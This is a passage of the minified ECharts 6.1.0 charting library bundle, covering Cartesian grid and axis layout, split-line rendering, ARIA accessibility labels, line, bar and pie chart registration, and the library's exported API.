B=D[1]-D[0];x=l?Zi(_o(B),1):bo(B/a,2),b=V_(x),k[0]?(m=D[0],A(function(){if(O(),w=so(S+x*a,b),P(),_>=D[1])return!0})):k[1]?(_=D[1],A(function(){if(R(),S=so(w-x*a,b),L(),m<=D[0])return!0})):A(function(){S=so(Qi(D[0]/x)*x,b),w=so($i(D[1]/x)*x,b);var t=Ki((w-S)/x);if(t<=a){var e=a-t,n=void 0,r=s.incl0||l;if(r&&0===D[0])n=[0,e];else if(r&&0===D[1])n=[e,0];else{var i=$i(e/2);n=e%2==0?[i,i]:m+_<D[0]+D[1]?[i,i+1]:[i+1,i]}if(S=so(S-x*n[0],b),w=so(w+x*n[1],b),L(),P(),m<=D[0]&&_>=D[1])return!0}})}xx(n,k,I,[m,_],C,{interval:x,intervalCount:a,intervalPrecision:b,niceExtent:[S,w]})}var aT=[[3,1],[0,2]],sT=function(){function t(t,e,n){this.type="grid",this._coordsMap={},this._coordsList=[],this._axesMap={},this._axesList=[],this.axisPointerEnabled=!0,this.dimensions=nT,this._initCartesian(t,e,n),this.model=t}return t.prototype.getRect=function(){return this._rect},t.prototype.update=function(t,e){var n=this._axesMap;function r(t){for(var e=H(t),n=[],r=e.length-1;r>=0;r--){var i=t[+e[r]];i.__alignTo?n.push(i):Jx(i)}E(n,function(t){var e,n;e=t,n=t.__alignTo,pf(e.scale)||pf(n.scale)||n.scale.getTicks().length<2?Jx(t):oT(t,t.__alignTo.scale)})}E(this._axesList,function(t){qx(t,1);var e=t.scale;z_(e)&&e.setSortInfo(t.model.get("categorySortInfo"))}),r(n.x),r(n.y);var i={};E(n.x,function(t){lT(n,"y",t,i)}),E(n.y,function(t){lT(n,"x",t,i)}),this.resize(this.model,e)},t.prototype.resize=function(t,e,n){var r=hp(t,e),i=this._rect=up(t.getBoxLayoutParams(),r.refContainer),o=this._axesMap,a=this._coordsList,s=t.get("containLabel");if(hT(o,i),!n){var l=function(t,e,n,r,i){var o=new bS(gT);return E(n,function(n){return E(n,function(n){if(mx(n.model)){var a=!r;n.axisBuilder=function(t,e,n,r,i,o){for(var a=FS(t,n),s=!1,l=!1,u=0;u<e.length;u++)R_(e[u].getOtherAxis(n.axis).scale)&&(s=l=!0,"category"===n.axis.type&&n.axis.onBand&&(l=!1));return a.axisLineAutoShow=s,a.axisTickAutoShow=l,a.defaultNameMoveOverlap=o,new CS(n,r,a,i)}(t,e,n.model,i,o,a)}})}),o}(i,a,o,s,e),u=void 0;if(s)u=pT(i.clone(),"axisLabel",null,i,o,l,r);else{var c=function(t,e,n){var r,i=t.get("outerBoundsMode",!0);"same"===i?r=e.clone():null!=i&&"auto"!==i||(r=up(t.get("outerBounds",!0)||qS,n.refContainer));var o,a=t.get("outerBoundsContain",!0);o=null==a||"auto"===a||P(["all","axisLabel"],a)<0?"all":a;var s=[ao(it(t.get("outerBoundsClampWidth",!0),ZS[0]),e.width),ao(it(t.get("outerBoundsClampHeight",!0),ZS[1]),e.height)];return{outerBoundsRect:r,parsedOuterBoundsContain:o,outerBoundsClamp:s}}(t,i,r),h=c.outerBoundsRect,f=c.parsedOuterBoundsContain,p=c.outerBoundsClamp;h&&(u=pT(h,f,p,i,o,l,r))}dT(i,o,Mb,null,u,r),E(this._coordsList,function(t){t.calcAffineTransform()})}},t.prototype.getAxis=function(t,e){var n=this._axesMap[t];if(null!=n)return n[e||0]},t.prototype.getAxes=function(){return this._axesList.slice()},t.prototype.getCartesian=function(t,e){if(null!=t&&null!=e){var n="x"+t+"y"+e;return this._coordsMap[n]}j(t)&&(e=t.yAxisIndex,t=t.xAxisIndex);for(var r=0,i=this._coordsList;r<i.length;r++)if(i[r].getAxis("x").index===t||i[r].getAxis("y").index===e)return i[r]},t.prototype.getCartesians=function(){return this._coordsList.slice()},t.prototype.convertToPixel=function(t,e,n){var r=this._findConvertTarget(e);return r.cartesian?r.cartesian.dataToPoint(n):r.axis?r.axis.toGlobalCoord(r.axis.dataToCoord(n)):null},t.prototype.convertFromPixel=function(t,e,n){var r=this._findConvertTarget(e);return r.cartesian?r.cartesian.pointToData(n):r.axis?r.axis.coordToData(r.axis.toLocalCoord(n)):null},t.prototype._findConvertTarget=function(t){var e,n,r=t.seriesModel,i=t.xAxisModel||r&&r.getReferringComponents("xAxis",Qo).models[0],o=t.yAxisModel||r&&r.getReferringComponents("yAxis",Qo).models[0],a=t.gridModel,s=this._coordsList;if(r)P(s,e=r.coordinateSystem)<0&&(e=null);else if(i&&o)e=this.getCartesian(i.componentIndex,o.componentIndex);else if(i)n=this.getAxis("x",i.componentIndex);else if(o)n=this.getAxis("y",o.componentIndex);else if(a){a.coordinateSystem===this&&(e=this._coordsList[0])}return{cartesian:e,axis:n}},t.prototype.containPoint=function(t){var e=this._coordsList[0];if(e)return e.containPoint(t)},t.prototype._initCartesian=function(t,e,n){var r=this,i=this,o={left:!1,right:!1,top:!1,bottom:!1},a={x:{},y:{}},s={x:0,y:0};if(e.eachComponent("xAxis",l("x"),this),e.eachComponent("yAxis",l("y"),this),!s.x||!s.y)return this._axesMap={},void(this._axesList=[]);function l(e){return function(n,r){if(function(t,e){return t.getCoordSysModel()===e}(n,t)){var l=n.get("position");"x"===e?"top"!==l&&"bottom"!==l&&(l=o.bottom?"top":"bottom"):"left"!==l&&"right"!==l&&(l=o.left?"right":"left"),o[l]=!0;var u=ux(n),c=new dS(e,cx(n,u),[0,0],u,l);c.onBand=Sx(c.scale,n),c.inverse=n.get("inverse"),n.axis=c,c.model=n,c.grid=i,c.index=r,i._axesList.push(c),a[e][r]=c,s[e]++}}}this._axesMap=a,E(a.x,function(e,n){E(a.y,function(i,o){var a="x"+n+"y"+o,s=new iT(a);s.master=r,s.model=t,r._coordsMap[a]=s,r._coordsList.push(s),s.addAxis(e),s.addAxis(i)})}),cT(a.x),cT(a.y)},t.prototype.getTooltipAxes=function(t){var e=[],n=[];return E(this.getCartesians(),function(r){var i=null!=t&&"auto"!==t?r.getAxis(t):r.getBaseAxis(),o=r.getOtherAxis(i);P(e,i)<0&&e.push(i),P(n,o)<0&&n.push(o)}),{baseAxes:e,otherAxes:n}},t.create=function(e,n){var r=[];return e.eachComponent("grid",function(i,o){var a=new t(i,e,n);a.name="grid_"+o,a.resize(i,n,!0),i.coordinateSystem=a,r.push(a),E(a._axesList,function(e){var n,r;n=e,r=t.dimIdxMap,Yx(n).dimIdxInCoord=r.get(n.dim)})}),e.eachSeries(function(t){var e,n;!function(t){var e=t.targetModel,n=t.coordSysType,r=t.coordSysProvider,i=t.isDefaultDataCoordSys;t.allowNotFound;var o=rp(e),a=o.kind,s=o.coordSysType;if(i&&1!==a&&(a=1,s=n),0===a||s!==n)return 0;var l=r(n,e);l&&(1===a?e.coordinateSystem=l:e.boxCoordinateSystem=l)}({targetModel:t,coordSysType:jS,coordSysProvider:function(){var r=function(t){var e={xAxisModel:null,yAxisModel:null};return E(e,function(n,r){var i=r.replace(/Model$/,""),o=t.getReferringComponents(i,Qo).models[0];e[r]=o}),e}(t),i=r.xAxisModel,o=r.yAxisModel;e=i.axis,n=o.axis;var a=i.getCoordSysModel();0;return a.coordinateSystem.getCartesian(i.componentIndex,o.componentIndex)}}),e&&n&&(zx(e,t,jS),zx(n,t,jS))},this),r},t.dimensions=nT,t.dimIdxMap=Km(nT),t}();function lT(t,e,n,r){n.getAxesOnZeroOf=function(){return i?[i]:[]};var i,o=t[e],a=n.model,s=a.get(["axisLine","onZero"]),l=a.get(["axisLine","onZeroAxisIndex"]);if(s){if(null!=l)uT(s,o[l])&&(i=o[l]);else for(var u in o)if(xt(o,u)&&uT(s,o[u])&&!r[c(o[u])]){i=o[u];break}i&&(r[c(i)]=!0)}function c(t){return t.dim+"_"+t.index}}function uT(t,e){if(!e)return!1;var n=function(t,e,n){var r=n?A_(t,null):t.getExtentUnsafe(0,null),i=r[0],o=r[1];return aa(i,o)?i===e||o===e?fx:i<e&&o>e?hx:px:px}(e.scale,0,!1),r=e&&"category"!==e.type&&"time"!==e.type&&n!==px;return r&&"auto"===t&&function(t){return lx(t).noOnMyZero}(e)&&(r=!1),r}function cT(t){for(var e,n=H(t),r=[],i=n.length-1;i>=0;i--){var o=t[+n[i]];R_(o.scale)&&null==_x(o.model,o.type)&&(o.model.get("alignTicks")&&null==o.model.get("interval")?r.push(o):e=o)}e||(e=r.pop()),e&&E(r,function(t){t.__alignTo=e})}function hT(t,e){E(t.x,function(t){return fT(t,e.x,e.width)}),E(t.y,function(t){return fT(t,e.y,e.height)})}function fT(t,e,n){var r=[0,n],i=t.inverse?1:0;t.setExtent(r[i],r[1-i]),function(t,e){var n=t.getExtent(),r=n[0]+n[1];t.toGlobalCoord="x"===t.dim?function(t){return t+e}:function(t){return r-t+e},t.toLocalCoord="x"===t.dim?function(t){return t-e}:function(t){return r-t+e}}(t,e)}function pT(t,e,n,r,i,o,a){dT(r,i,Sb,e,!1,a);var s=[0,0,0,0];u(0),u(1),c(r,0,NaN),c(r,1,NaN);var l=null==V(s,function(t){return t>0});return yh(r,s,!0,!0,n),hT(i,r),l;function u(t){E(i[ah[t]],function(e){if(mx(e.model)){var n=o.ensureRecord(e.model),r=n.labelInfoList;if(r)for(var i=0;i<r.length;i++){var a=r[i],s=e.scale.normalize(bx(e.scale,_S(a.label).labelInfo.tick));s=1===t?1-s:s,c(a.rect,t,s),c(a.rect,1-t,NaN)}var l=n.nameLayout;if(l){s=yx(n.nameLocation)?.5:NaN;c(l.rect,t,s),c(l.rect,1-t,NaN)}}})}function c(e,n,r){var i=t[ah[n]]-e[ah[n]],o=e[sh[n]]+e[ah[n]]-(t[sh[n]]+t[ah[n]]);i=h(i,1-r),o=h(o,r);var a=aT[n][0],l=aT[n][1];s[a]=Zi(s[a],i),s[l]=Zi(s[l],o)}function h(t,e){return t>0&&!nt(e)&&e>1e-4&&(t/=e),t}}function dT(t,e,n,r,i,o){var a=n===Mb;E(e,function(e){return E(e,function(e){mx(e.model)&&(!function(t,e,n){var r=FS(e,n);t.updateCfg(r)}(e.axisBuilder,t,e.model),e.axisBuilder.build(a?{axisTickLabelDetermine:!0}:{axisTickLabelEstimate:!0},{noPxChange:i}))})});var s={x:0,y:0};function l(e){s[ah[1-e]]=t[sh[e]]<=.5*o.refContainer[sh[e]]?0:1-e==1?2:1}l(0),l(1),E(e,function(t,e){return E(t,function(t){mx(t.model)&&(("all"===r||a)&&t.axisBuilder.build({axisName:!0},{nameMarginLevel:s[e]}),a&&t.axisBuilder.build({axisLine:!0}))})})}var gT=function(t,e,n,r,i,o){var a="x"===n.axis.dim?"y":"x";MS(t,0,0,r,i,o),yx(t.nameLocation)||E(e.recordMap[a],function(t){t&&t.labelInfoList&&t.dirVec&&kS(t.labelInfoList,t.dirVec,r,i)})};function vT(t){var e,n=(t.ecModel.getComponent("axisPointer")||{}).coordSysAxesInfo;return n&&n.axesInfo[(e=t,e.type+"||"+e.id)]}var yT={},mT=function(t){function e(){var n=null!==t&&t.apply(this,arguments)||this;return n.type=e.type,n}return n(e,t),e.prototype.render=function(e,n,r,i){this.axisPointerClass&&function(t){var e=vT(t);if(e){var n=e.axisPointerModel,r=e.axis.scale,i=n.option,o=n.get("status"),a=n.get("value");null!=a&&(a=r.parse(a));var s=function(t){return!!t.get(["handle","show"])}(n);null==o&&(i.status=s?"show":"hide");var l=r.getExtent();(null==a||a>l[1])&&(a=l[1]),a<l[0]&&(a=l[0]),i.value=a,s&&(i.status=e.axis.scale.isBlank()?"hide":"show")}}(e),t.prototype.render.apply(this,arguments),this._doUpdateAxisPointerClass(e,r,!0)},e.prototype.updateAxisPointer=function(t,e,n,r){this._doUpdateAxisPointerClass(t,n,!1)},e.prototype.remove=function(t,e){var n=this._axisPointer;n&&n.remove(e)},e.prototype.dispose=function(e,n){this._disposeAxisPointer(n),t.prototype.dispose.apply(this,arguments)},e.prototype._doUpdateAxisPointerClass=function(t,n,r){var i=e.getAxisPointerClass(this.axisPointerClass);if(i){var o=function(t){var e=vT(t);return e&&e.axisPointerModel}(t);o?(this._axisPointer||(this._axisPointer=new i)).render(t,o,n,r):this._disposeAxisPointer(n)}},e.prototype._disposeAxisPointer=function(t){this._axisPointer&&this._axisPointer.dispose(t),this._axisPointer=null},e.registerAxisPointerClass=function(t,e){yT[t]=e},e.getAxisPointerClass=function(t){return t&&yT[t]},e.type="axis",e}(Rg),_T=Zo();var xT=["splitArea","splitLine","minorSplitLine","breakArea"],bT=function(t){function e(){var n=null!==t&&t.apply(this,arguments)||this;return n.type=e.type,n.axisPointerClass="CartesianAxisPointer",n}return n(e,t),e.prototype.render=function(e,n,r,i){this.group.removeAll();var o=this._axisGroup;(this._axisGroup=new Bi,this.group.add(this._axisGroup),mx(e))&&(this._axisGroup.add(e.axis.axisBuilder.group),E(xT,function(t){e.get([t,"show"])&&wT[t](this,this._axisGroup,e,e.getCoordSysModel(),r)},this),i&&"changeAxisOrder"===i.type&&i.isInitSort||function(t,e,n){if(t&&e){var r,i=(r={},t.traverse(function(t){vh(t)&&t.anid&&(r[t.anid]=t)}),r);e.traverse(function(t){if(vh(t)&&t.anid){var e=i[t.anid];if(e){var r=o(t);t.attr(o(e)),Qc(t,r,n,Dl(t).dataIndex)}}})}function o(t){var e={x:t.x,y:t.y,rotation:t.rotation};return function(t){return null!=t.shape}(t)&&(e.shape=k(t.shape)),e}}(o,this._axisGroup,e),t.prototype.render.call(this,e,n,r,i))},e.prototype.remove=function(){_T(this).splitAreaColors=null},e.type="cartesianAxis",e}(mT),wT={splitLine:function(t,e,n,r,i){var o=n.axis;if(!o.scale.isBlank()){var a=n.getModel("splitLine"),s=a.getModel("lineStyle"),l=s.get("color"),u=!1!==a.get("showMinLine"),c=!1!==a.get("showMaxLine");l=U(l)?l:[l];for(var h=r.coordinateSystem.getRect(),f=o.isHorizontal(),p=0,d=o.getTicksCoords({tickModel:a,breakTicks:"none",pruneByBreak:"preserve_extent_bound"}),g=[],v=[],y=s.getLineStyle(),m=0;m<d.length;m++){var _=o.toGlobalCoord(d[m].coord);if((0!==m||u)&&(m!==d.length-1||c)){var x=d[m].tickValue;f?(g[0]=_,g[1]=h.y,v[0]=_,v[1]=h.y+h.height):(g[0]=h.x,g[1]=_,v[0]=h.x+h.width,v[1]=_);var b=p++%l.length,w=new Ic({anid:null!=x?"line_"+x:null,autoBatch:!0,shape:{x1:g[0],y1:g[1],x2:v[0],y2:v[1]},style:A({stroke:l[b]},y),silent:!0});gh(w.shape,y.lineWidth),e.add(w)}}}},minorSplitLine:function(t,e,n,r,i){var o=n.axis,a=n.getModel("minorSplitLine").getModel("lineStyle"),s=r.coordinateSystem.getRect(),l=o.isHorizontal(),u=o.getMinorTicksCoords();if(u.length)for(var c=[],h=[],f=a.getLineStyle(),p=0;p<u.length;p++)for(var d=0;d<u[p].length;d++){var g=o.toGlobalCoord(u[p][d].coord);l?(c[0]=g,c[1]=s.y,h[0]=g,h[1]=s.y+s.height):(c[0]=s.x,c[1]=g,h[0]=s.x+s.width,h[1]=g);var v=new Ic({anid:"minor_line_"+u[p][d].tickValue,autoBatch:!0,shape:{x1:c[0],y1:c[1],x2:h[0],y2:h[1]},style:f,silent:!0});gh(v.shape,f.lineWidth),e.add(v)}},splitArea:function(t,e,n,r,i){!function(t,e,n,r){var i=n.axis;if(!i.scale.isBlank()){var o=n.getModel("splitArea"),a=o.getModel("areaStyle"),s=a.get("color"),l=r.coordinateSystem.getRect(),u=i.getTicksCoords({tickModel:o,breakTicks:"none",pruneByBreak:"preserve_extent_bound"});if(u.length){var c=s.length,h=_T(t).splitAreaColors,f=vt(),p=0;if(h)for(var d=0;d<u.length;d++){var g=h.get(u[d].tickValue);if(null!=g){p=(g+(c-1)*d)%c;break}}var v=i.toGlobalCoord(u[0].coord),y=a.getAreaStyle();for(s=U(s)?s:[s],d=1;d<u.length;d++){var m=i.toGlobalCoord(u[d].coord),_=void 0,x=void 0,b=void 0,w=void 0;i.isHorizontal()?(_=v,x=l.y,b=m-_,w=l.height,v=_+b):(_=l.x,x=v,b=l.width,v=x+(w=m-x));var S=u[d-1].tickValue;null!=S&&f.set(S,p),e.add(new pl({anid:null!=S?"area_"+S:null,shape:{x:_,y:x,width:b,height:w},style:A({fill:s[p]},y),autoBatch:!0,silent:!0})),p=(p+1)%c}_T(t).splitAreaColors=f}}}(t,e,n,r)},breakArea:function(t,e,n,r,i){n.axis.scale}},ST=function(t){function e(){var n=null!==t&&t.apply(this,arguments)||this;return n.type=e.type,n}return n(e,t),e.type="xAxis",e}(bT),MT=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e.type=ST.type,e}return n(e,t),e.type="yAxis",e}(bT),TT=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e.type="grid",e}return n(e,t),e.prototype.render=function(t,e){this.group.removeAll(),t.get("show")&&this.group.add(new pl({shape:t.coordinateSystem.getRect(),style:A({fill:t.get("backgroundColor")},t.getItemStyle()),silent:!0,z2:-1}))},e.type="grid",e}(Rg),kT={offset:0};var CT={label:{enabled:!0},decal:{show:!1}},IT=Zo(),DT=Zo(),AT=pa(function(t,e){var n=t.getModel("aria");if(!n.get("enabled"))return;var r=DT(t).scope||(DT(t).scope={}),i=k(CT);function o(t,e){if(!Y(t))return t;var n=t;return E(e,function(t,e){n=n.replace(new RegExp("\\{\\s*"+e+"\\s*\\}","g"),t)}),n}C(i.label,t.getLocaleModel().get("aria"),!1),C(n.option,i,!1),function(){if(n.getModel("decal").get("show")){var e=vt();t.eachSeries(function(t){t.isColorBySeries()||(IT(t).scope=e.get(t.type)||e.set(t.type,{}))}),t.eachSeries(function(e){if(X(e.enableAriaDecal))e.enableAriaDecal();else{var n=e.getData();if(e.isColorBySeries()){var i=Wp(e.ecModel,e.name,r,t.getSeriesCount()),o=n.getVisual("decal");n.setVisual("decal",c(o,i))}else{var a=e.getRawData(),s={},l=IT(e).scope;n.each(function(t){var e=n.getRawIndex(t);s[e]=t});var u=a.count();a.each(function(t){var r=s[t],i=a.getName(t)||t+"",o=Wp(e.ecModel,i,l,u),h=n.getItemVisual(r,"decal");n.setItemVisual(r,"decal",c(h,o))})}}function c(t,e){var n=t?I(I({},e),t):e;return n.dirty=!0,n}})}}(),function(){var r=e.getZr().dom;if(r){var i=t.getLocaleModel().get("aria"),a=n.getModel("label");if(a.option=A(a.option,i),a.get("enabled"))if(r.setAttribute("role","img"),a.get("description"))r.setAttribute("aria-label",a.get("description"));else{var s,l=t.getSeriesCount(),u=a.get(["data","maxCount"])||10,c=a.get(["series","maxCount"])||10,h=Math.min(l,c);if(!(l<1)){var f=function(){var e=t.get("title");return e&&e.length&&(e=e[0]),e&&e.text}();s=f?o(a.get(["general","withTitle"]),{title:f}):a.get(["general","withoutTitle"]);var p=[];s+=o(l>1?a.get(["series","multiple","prefix"]):a.get(["series","single","prefix"]),{seriesCount:l}),t.eachSeries(function(e,n){if(n<h){var r=void 0,i=e.get("name")?"withName":"withoutName";r=o(r=l>1?a.get(["series","multiple",i]):a.get(["series","single",i]),{seriesId:e.seriesIndex,seriesName:e.get("name"),seriesType:(x=e.subType,b=t.getLocaleModel().get(["series","typeNames"]),b[x]||b.chart)});var s=e.getData();s.count()>u?r+=o(a.get(["data","partialData"]),{displayCnt:u}):r+=a.get(["data","allData"]);for(var c=a.get(["data","separator","middle"]),f=a.get(["data","separator","end"]),d=a.get(["data","excludeDimensionId"]),g=[],v=0;v<s.count();v++)if(v<u){var y=s.getName(v),m=d?F(s.getValues(v),function(t,e){return-1===P(d,e)}):s.getValues(v),_=a.get(["data",y?"withName":"withoutName"]);g.push(o(_,{name:y,value:m.join(c)}))}r+=g.join(c)+f,p.push(r)}var x,b});var d=a.getModel(["series","multiple","separator"]),g=d.get("middle"),v=d.get("end");s+=p.join(g)+v,r.setAttribute("aria-label",s)}}}}()});function LT(t){if(t&&t.aria){var e=t.aria;null!=e.show&&(e.enabled=e.show),e.label=e.label||{},E(["description","general","series","data"],function(t){null!=e[t]&&(e.label[t]=e[t])})}}var PT=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e.type="dataset",e}return n(e,t),e.prototype.init=function(e,n,r){t.prototype.init.call(this,e,n,r),this._sourceManager=new mg(this),_g(this)},e.prototype.mergeOption=function(e,n){t.prototype.mergeOption.call(this,e,n),_g(this)},e.prototype.optionUpdated=function(){this._sourceManager.dirty()},e.prototype.getSourceManager=function(){return this._sourceManager},e.type="dataset",e.defaultOption={seriesLayoutBy:Fl},e}(vp),OT=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e.type="dataset",e}return n(e,t),e.type="dataset",e}(Rg);Fm([function(t){t.registerPainter("canvas",kw)}]),Fm([function(t){t.registerChartView(cS),t.registerSeriesModel(Cw),t.registerLayout(function(t,e){return{seriesType:t,plan:Ng(),reset:function(t){var n=t.getData(),r=t.coordinateSystem,i=t.pipelineContext,o=e||i.large;if(r){var a=B(r.dimensions,function(t){return n.mapDimension(t)}).slice(0,2),s=a.length,l=n.getCalculationInfo("stackResultDimension");m_(n,a[0])&&(a[0]=l),m_(n,a[1])&&(a[1]=l);var u=n.getStore(),c=n.getDimensionIndex(a[0]),h=n.getDimensionIndex(a[1]);return s&&{progress:function(t,e){for(var n=t.end-t.start,i=o&&Ww(n*s),a=[],l=[],f=t.start,p=0;f<t.end;f++){var d=void 0;if(1===s){var g=u.get(c,f);d=r.dataToPoint(g,null,l)}else a[0]=u.get(c,f),a[1]=u.get(h,f),d=r.dataToPoint(a,null,l);o?(i[p++]=d[0],i[p++]=d[1]):e.setItemLayout(f,d.slice())}o&&(e.setLayout("points",i),e.setLayout("pointsRange",{start:t.start,end:t.end}))}}}}}}("line",!0)),t.registerVisual({seriesType:"line",reset:function(t){var e=t.getData(),n=t.getModel("lineStyle").getLineStyle();n&&!n.stroke&&(n.stroke=e.getVisual("style").fill),e.setVisual("legendLineStyle",n)}}),t.registerProcessor(t.PRIORITY.PROCESSOR.STATISTIC,pS("line"))},function(t){t.registerChartView(pM),t.registerSeriesModel(oM),t.registerLayout(t.PRIORITY.VISUAL.LAYOUT,tM(XS)),t.registerLayout(t.PRIORITY.VISUAL.PROGRESSIVE_LAYOUT,function(t){return{seriesType:t,plan:Ng(),reset:function(t){if(function(t){return t.coordinateSystem&&"cartesian2d"===t.coordinateSystem.type}(t)){var e=t.getData(),n=t.coordinateSystem,r=n.getBaseAxis(),i=n.getOtherAxis(r),o=e.getDimensionIndex(e.mapDimension(i.dim)),a=e.getDimensionIndex(e.mapDimension(r.dim)),s=t.get("showBackground",!0),l=e.mapDimension(i.dim),u=e.getCalculationInfo("stackResultDimension"),c=m_(e,l)&&!!e.getCalculationInfo("stackedOnSeries"),h=i.isHorizontal(),f=i.toGlobalCoord(i.dataToCoord(function(t){return t.scale.rawExtentInfo.makeRenderInfo().startValue}(i))),p=eM(t),d=t.get("barMinHeight")||0,g=u&&e.getDimensionIndex(u),v=e.getLayout("size"),y=e.getLayout("offset");return{progress:function(t,e){for(var r,i=t.count,l=p&&Ww(3*i),u=p&&s&&Ww(3*i),m=p&&Ww(i),_=n.master.getRect(),x=h?_.width:_.height,b=e.getStore(),w=0;null!=(r=t.next());){var S=b.get(c?g:o,r),M=b.get(a,r),T=f,k=void 0;c&&(k=+S-b.get(o,r));var C=void 0,I=void 0,D=void 0,A=void 0;if(h){var L=n.dataToPoint([S,M]);c&&(T=n.dataToPoint([k,M])[0]),C=T,I=L[1]+y,D=L[0]-T,A=v,ji(D)<d&&(D=(D<0?-1:1)*d)}else L=n.dataToPoint([M,S]),c&&(T=n.dataToPoint([M,k])[1]),C=L[0]+y,I=T,D=v,A=L[1]-T,ji(A)<d&&(A=(A<=0?-1:1)*d);p?(l[w]=C,l[w+1]=I,l[w+2]=h?D:A,u&&(u[w]=h?_.x:C,u[w+1]=h?I:_.y,u[w+2]=x),m[r]=r):e.setItemLayout(r,{x:C,y:I,width:D,height:A}),w+=3}p&&e.setLayout({largePoints:l,largeDataIndices:m,largeBackgroundPoints:u,valueAxisHorizontal:h})}}}}}}(XS)),t.registerProcessor(t.PRIORITY.PROCESSOR.STATISTIC,pS(XS)),t.registerAction({type:"changeAxisOrder",event:"changeAxisOrder",update:"update"},function(t,e){var n=t.componentType||"series";e.eachComponent({mainType:n,query:t},function(e){t.sortInfo&&e.axis.setCategorySortInfo(t.sortInfo)})}),rM(t)},function(t){t.registerChartView(qM),t.registerSeriesModel(OM),function(t,e){function n(e,n){var r=[];return e.eachComponent({mainType:"series",subType:t,query:n},function(t){r.push(t.seriesIndex)}),r}E([[t+"ToggleSelect","toggleSelect"],[t+"Select","select"],[t+"UnSelect","unselect"]],function(t){e(t[0],function(e,r,i){e=I({},e),i.dispatchAction(I(e,{type:t[1],seriesIndex:n(r,e)}))})})}(LM,t.registerAction),t.registerLayout(UM),t.registerProcessor(function(t){return{seriesType:t,reset:function(t,e){var n=e.findComponents({mainType:"legend"});if(n&&n.length){var r=t.getData();r.filterSelf(function(t){for(var e=r.getName(t),i=0;i<n.length;i++)if(!n[i].isSelected(e))return!1;return!0})}}}}(LM)),t.registerProcessor(function(t){return{seriesType:t,reset:function(t,e){var n=t.getData();n.filterSelf(function(t){var e=n.mapDimension("value"),r=n.get(e,t);return!(Z(r)&&!isNaN(r)&&r<0)})}}}(LM))}]),Fm([function(t){t.registerComponentView(TT),t.registerComponentModel(KS),t.registerCoordinateSystem("cartesian2d",sT),JM(t,"x",ZM,kT),JM(t,"y",ZM,kT),t.registerComponentView(ST),t.registerComponentView(MT),t.registerPreprocessor(function(t){t.xAxis&&t.yAxis&&!t.grid&&(t.grid={})})},function(t){t.registerPreprocessor(LT),t.registerVisual(t.PRIORITY.VISUAL.ARIA,AT)},function(t){t.registerComponentModel(PT),t.registerComponentView(OT)}]),t.Axis=Vb,t.ChartView=zg,t.ComponentModel=vp,t.ComponentView=Rg,t.List=h_,t.Model=Jh,t.PRIORITY=My,t.SeriesModel=kg,t.color=pr,t.connect=function(t){if(U(t)){var e=t;t=null,E(e,function(e){null!=e.group&&(t=e.group)}),t=t||"g_"+vm++,E(e,function(e){e.group=t})}return dm[t]=!0,t},t.dataTool={},t.dependencies={zrender:"6.1.0"},t.disConnect=_m,t.disconnect=mm,t.dispose=function(t){Y(t)?t=pm[t]:t instanceof em||(t=xm(t)),t instanceof em&&!t.isDisposed()&&t.dispose()},t.env=i,t.extendChartView=function(t){var e=zg.extend(t);return zg.registerClass(e),e},t.extendComponentModel=function(t){var e=vp.extend(t);return vp.registerClass(e),e},t.extendComponentView=function(t){var e=Rg.extend(t);return Rg.registerClass(e),e},t.extendSeriesModel=function(t){var e=kg.extend(t);return kg.registerClass(e),e},t.format=_b,t.getCoordinateSystemDimensions=function(t){var e=tp.get(t);if(e)return e.getDimensionsInfo?e.getDimensionsInfo():e.dimensions.slice()},t.getInstanceByDom=xm,t.getInstanceById=function(t){return pm[t]},t.getMap=function(t){var e=Lv("getMap");return e&&e(t)},t.graphic=mb,t.helper=rb,t.init=function(t,e,n){var r=!(n&&n.ssr);if(r){0;var i=xm(t);if(i)return i;0}var o=new em(t,e,n);return o.id="ec_"+gm++,pm[o.id]=o,r&&ta(t,ym,o.id),jy(o),Dv.trigger("afterinit",o),o},t.innerDrawElementOnCanvas=hy,t.matrix=we,t.number=vb,t.parseGeoJSON=gb,t.parseGeoJson=gb,t.registerAction=Cm,t.registerCoordinateSystem=Im,t.registerCustomSeries=function(t,e){},t.registerLayout=Dm,t.registerLoading=Om,t.registerLocale=uf,t.registerMap=Rm,t.registerPostInit=Mm,t.registerPostUpdate=Tm,t.registerPreprocessor=wm,t.registerProcessor=Sm,t.registerTheme=bm,t.registerTransform=Nm,t.registerUpdateLifecycle=km,t.registerVisual=Am,t.setCanvasCreator=function(t){c({createCanvas:t})},t.setPlatformAPI=c,t.throttle=Ug,t.time=yb,t.use=Fm,t.util=xb,t.vector=Ut,t.version="6.1.0",t.zrUtil=Mt,t.zrender=Xi,Object.defineProperty(t,"__esModule",{value:!0})});